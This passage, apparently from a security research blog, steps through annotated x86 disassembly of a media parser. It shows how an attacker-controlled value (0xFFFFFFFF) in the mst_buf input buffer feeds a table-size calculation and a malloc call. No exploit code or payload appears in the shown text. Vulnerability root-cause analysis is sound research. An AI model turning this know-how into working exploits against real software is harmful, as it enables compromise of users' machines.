&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C34&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FB68C24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;D700000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOVZX&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;BYTE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C3C&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FB69424&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;D600000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOVZX&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EDX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;BYTE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;these 4 grab FFFFFFFF from mst_buf stored on stack&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C44&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;C1E6&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;SHL&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ESI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C47&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;B424&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A0000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESI&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4E&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;C1E3&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;SHL&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EBX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C51&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;099&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A0000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EBX&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C58&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;C1E2&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;SHL&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EDX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C5B&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;098&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A0000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;these 6 instructions convert endianness of bytes from input buffer&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C62&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;099424&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A0000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EDX&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;storing in 060BFB04&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;initializing-i-variable-from-the-mst_buf-buffer&quot;&gt;Initializing &lt;em&gt;i&lt;/em&gt; variable from the &lt;em&gt;mst_buf&lt;/em&gt; buffer&lt;/h4&gt;
&lt;p&gt;The &lt;em&gt;i&lt;/em&gt; variable has the user inputted value loaded into it from the &lt;em&gt;mst_buf&lt;/em&gt; array. This value is stored on the stack at &lt;em&gt;ESP+A4&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C83&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FB68424&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;DC00000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOVZX&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;BYTE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C8B&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FB6B424&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;DD00000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOVZX&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ESI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;BYTE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C93&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FB69C24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;DF00000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOVZX&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EBX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;BYTE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C9B&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FB68C24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;DE00000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOVZX&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;BYTE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;grabs DWORD from input buffer&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CA3&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;C1E0&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;SHL&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CA6&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;C1E6&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;SHL&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ESI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CA9&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;09&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;F0&lt;/span&gt;             &lt;span class=&quot;nv&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESI&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CAB&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;C1E1&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;SHL&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CAE&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;09&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D8&lt;/span&gt;             &lt;span class=&quot;nv&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EBX&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CB0&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;09&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C8&lt;/span&gt;             &lt;span class=&quot;nv&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CB2&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;BC24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A4000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;store i value on stack&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;i_seq_table_size-expression&quot;&gt;&lt;em&gt;i_seq_table_size&lt;/em&gt; expression&lt;/h4&gt;
&lt;p&gt;At instruction &lt;em&gt;0x61401C70&lt;/em&gt; the &lt;em&gt;i_map_size&lt;/em&gt; value is loaded into &lt;em&gt;EDI&lt;/em&gt; from the stack. 8 is added to it and then it is stored at an address on the stack.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C70&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;BBC24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A0000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;…&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C80&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;83&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C7&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;08&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;ADD&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;…&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CB2&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;BC24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A4000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EDI&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The stack now looks like…&lt;/strong&gt;&lt;br /&gt;
0629FB04   FFFFFFFF  ÿÿÿÿ&lt;br /&gt;
0629FB08   00000007  …&lt;/p&gt;

&lt;p&gt;From here, the rest of &lt;em&gt;i_seq_table_size&lt;/em&gt; is calculated.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CB9&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;99&lt;/span&gt;               &lt;span class=&quot;nv&quot;&gt;CDQ&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; sign extend EAX into EDX&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CBA&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;F7BC24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A4000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;IDIV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CC1&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;8985&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;C8BE0000&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EBP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;BEC8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EAX&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;malloc-call&quot;&gt;&lt;em&gt;malloc&lt;/em&gt; call&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;EAX&lt;/em&gt;, now with a value of 1 is shifted left to get a value of &lt;em&gt;10h&lt;/em&gt; (which is 16) and &lt;em&gt;malloc&lt;/em&gt; is called with this size value. (Remember, &lt;em&gt;malloc&lt;/em&gt; was called with a value of 16 as this is the size of &lt;em&gt;ty_seq_table_t&lt;/em&gt;.)&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CBA&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;F7BC24&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;A4000000&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;IDIV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;A4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; SETS EAX to 1&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;…&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CC7&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;C1E0&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;SHL&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;EAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CCA&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;890424&lt;/span&gt;           &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;EAX&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CCD&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;E8&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;E580000&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;CALL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;JMP.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;msvcrt.malloc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;malloc&lt;/em&gt; returns with a memory pointer in &lt;em&gt;EAX&lt;/em&gt; of (in my case it is &lt;em&gt;0x04909420&lt;/em&gt;.)&lt;/p&gt;

&lt;h4 id=&quot;no-stream_read-overwrite-issue&quot;&gt;No &lt;em&gt;stream_Read&lt;/em&gt; overwrite issue&lt;/h4&gt;
&lt;p&gt;The following assembly instructions set up the second &lt;em&gt;stream_Read&lt;/em&gt; call which has a size value parameter of 7 which will not overwrite the &lt;em&gt;mst_buf&lt;/em&gt; size of 32.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;61401&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;D4A&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;894&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C24&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;MOV&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;PTR&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;SS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ECX&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;;pointer to mst_buf&lt;/span&gt;
